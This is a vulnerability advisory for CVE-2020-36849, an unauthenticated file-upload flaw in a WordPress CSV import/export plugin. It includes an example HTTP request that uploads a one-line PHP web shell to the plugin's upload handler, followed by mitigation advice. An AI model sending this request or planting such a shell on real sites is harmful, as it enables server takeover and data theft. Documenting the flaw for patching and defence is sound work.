Overview
CVE-2020-36849 is a critical vulnerability in the AIT CSV Import/Export Plugin for WordPress, specifically affecting versions up to and including 3.0.3. This plugin is widely used in the WordPress ecosystem for managing CSV data import and export. The vulnerability lies in a flaw in the file type validation process that could allow an attacker to upload arbitrary files to the site’s server. The severity of this issue is underlined by the fact that, if successfully exploited, it could lead to potential system compromise and data leakage, thereby posing a serious threat to the confidentiality, integrity, and availability of data.
Vulnerability Summary
CVE ID: CVE-2020-36849
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
AIT CSV Import/Export Plugin for WordPress | Up to and including 3.0.3
How the Exploit Works
The vulnerability stems from the lack of proper file type validation in the ‘/wp-content/plugins/ait-csv-import-export/admin/upload-handler.php’ script. This lack of validation allows an unauthorized attacker to upload arbitrary files, including malicious scripts, to the affected server. These scripts, when executed, could allow the attacker to potentially control the server remotely, leading to system compromise and potential data leakage.
Conceptual Example Code
The below HTTP request is a
conceptual
example of how an attacker could exploit this vulnerability. The attacker crafts a POST request that includes a malicious file in the body.
POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--Once the malicious file is uploaded to the server, the attacker can potentially execute the script, leading to remote code execution.
Mitigation Methods
It is highly recommended to apply the vendor patch as soon as possible. If it’s not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block suspicious activities and malicious payloads, providing an additional layer of security against the exploitation of this vulnerability.